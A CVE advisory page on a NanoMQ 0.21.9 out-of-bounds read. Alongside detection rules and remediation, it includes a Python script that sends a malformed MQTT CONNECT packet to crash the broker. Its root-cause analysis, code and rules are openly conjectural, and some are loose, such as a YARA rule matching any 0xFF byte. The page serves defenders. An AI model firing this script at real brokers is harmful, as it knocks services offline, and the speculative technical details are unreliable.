CVE-2024-44460
Executive Summary
CVE-2024-44460 is a security advisory affecting Nanomq version 0.21.9. The vulnerability is characterized by an invalid read size that can be triggered by an attacker, leading to a Denial of Service (DoS) condition. This flaw resides in the core message handling logic of the Nanomq MQTT broker, potentially allowing a remote, unauthenticated attacker to crash the service by sending a specially crafted packet. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the lack of a confirmed patch makes this a significant concern for any production deployment using the affected version.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Nanomq is an open-source MQTT broker written in C, commonly distributed via GitHub and package managers. The vulnerability in version 0.21.9 introduces a supply chain risk for any system that integrates this specific version. Organizations should verify their dependency trees and ensure no internal or third-party applications are pinned to this vulnerable release. The absence of a public patch or advisory from the vendor increases the risk of supply chain attacks where malicious actors could exploit this flaw in downstream products.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is atypical and likely indicates that a full CVSS vector has not been officially assigned by NVD. Based on the description (remote DoS via invalid read), a reasonable estimated vector would be:
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The exploit does not affect other components.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The service becomes unavailable.
Estimated CVSS 3.1 Score: 7.5 (High)
Threat Level: High. While the EPSS score is low, the potential for a complete service outage and the lack of a patch elevate the risk for any organization using the affected version.
Deep Dive & Mechanics
The vulnerability is an out-of-bounds read (CWE-125) in Nanomq version 0.21.9. The invalid read size occurs during the processing of MQTT packets, likely within the packet parsing or message handling routines. When a malicious actor sends a crafted MQTT packet with manipulated length fields or malformed headers, the broker attempts to read beyond the allocated buffer. This results in a segmentation fault or an unhandled exception, crashing the broker process and causing a Denial of Service.
The root cause is insufficient validation of packet length fields before memory operations. The code likely trusts the length value provided in the MQTT packet header without verifying it against the actual buffer size. This allows an attacker to specify a large read size, causing the broker to access invalid memory.
Vulnerable vs. Patched Code
Since no official patch is available, a direct comparison cannot be made. However, the vulnerable code pattern would involve a function that reads from a buffer using a length derived from the packet without bounds checking.
Vulnerable Code (Conceptual):
void process_packet(uint8_t *buffer, uint32_t length) {
// Assume length is taken from packet header
uint32_t read_size = *(uint32_t *)(buffer + 2); // Attacker-controlled
uint8_t *data = malloc(read_size);
memcpy(data, buffer + 6, read_size); // Potential out-of-bounds read
// ... process data
}
Patched Code (Conceptual):
void process_packet(uint8_t *buffer, uint32_t buffer_len) {
uint32_t read_size = *(uint32_t *)(buffer + 2);
// Validate read_size against actual buffer length
if (read_size > buffer_len - 6) {
// Log error and reject packet
return;
}
uint8_t *data = malloc(read_size);
memcpy(data, buffer + 6, read_size);
// ... process data
}
The patch would add a bounds check to ensure read_size does not exceed the remaining buffer space.
Exploitation & Lab Setup
Red Team (Offensive)
Objective: Crash the Nanomq broker remotely.
Lab Setup:
- Install Nanomq v0.21.9 on a target VM (Ubuntu 22.04).
- Start the broker:
nanomq start. - From an attacker VM, use a tool like
nmapor a custom Python script to send a malformed MQTT CONNECT packet.
Exploit Script (Python):
import socket
def exploit(target_ip, target_port=1883):
# Craft a malformed MQTT CONNECT packet with an invalid remaining length
# Fixed header: 0x10 (CONNECT), remaining length = 0xFF (invalid)
packet = b'\x10\xff'
# Add some payload to trigger the invalid read
packet += b'A' * 100
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
sock.connect((target_ip, target_port))
sock.send(packet)
print("[+] Packet sent. Check if broker crashed.")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
if __name__ == "__main__":
exploit("192.168.1.100")
Execution:
- Run the script against the target broker.
- Monitor the broker process; it should crash (process terminated).
- Verify DoS by attempting to connect with a legitimate MQTT client (e.g.,
mosquitto_sub).
Blue Team (Defensive)
Objective: Detect and mitigate exploitation attempts.
Detection:
- Monitor for malformed MQTT packets with invalid remaining length fields.
- Use network intrusion detection systems (NIDS) to flag packets with anomalous lengths.
- Implement rate limiting on MQTT connections.
Mitigation:
- Immediately upgrade to a patched version if available.
- If no patch, deploy a Web Application Firewall (WAF) or MQTT proxy that validates packet structures.
- Restrict network access to the MQTT broker (port 1883) to trusted IPs only.
- Enable logging and alerting on broker crashes.
Indicators of Compromise (IOCs)
- Network:
- MQTT packets with a remaining length field value of 0xFF or other invalid values.
- Repeated connection attempts from a single IP to port 1883 with malformed data.
- Host:
- Broker process crash logs (e.g., segmentation fault in
/var/log/syslog). - Core dump files generated by the broker.
- Broker process crash logs (e.g., segmentation fault in
- File:
- Unusual MQTT packet captures (PCAP) showing malformed CONNECT packets.
Detection Engineering
YARA Rule
rule CVE_2024_44460_Nanomq_DoS {
meta:
description = "Detects malformed MQTT packets targeting Nanomq v0.21.9"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-44460"
strings:
$mqtt_connect = {10 ??} // MQTT CONNECT packet with any remaining length
$invalid_length = {ff} // Remaining length 0xFF
condition:
$mqtt_connect and $invalid_length
}
Sigma Rule
title: CVE-2024-44460 Nanomq DoS Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic attempting to exploit CVE-2024-44460 in Nanomq
author: Valters IT
date: 2024/10/27
logsource:
category: network_connection
product: suricata
detection:
selection:
dest_port: 1883
payload|contains: '10ff'
condition: selection
falsepositives:
- Legitimate MQTT traffic with unusual but valid lengths
level: high
Suricata Rule
alert tcp any any -> any 1883 (msg:"CVE-2024-44460 Nanomq DoS Attempt"; flow:to_server,established; content:"|10 ff|"; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: If using Nanomq v0.21.9, isolate the broker from untrusted networks immediately.
- Patch: Monitor the official Nanomq repository for a security patch. Apply it as soon as it is released.
- Workaround: Implement a reverse proxy or MQTT gateway that validates packet lengths before forwarding to the broker.
- Monitoring: Deploy the provided detection rules to identify exploitation attempts.
- Backup: Ensure regular backups of broker configuration and data are available for quick recovery.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.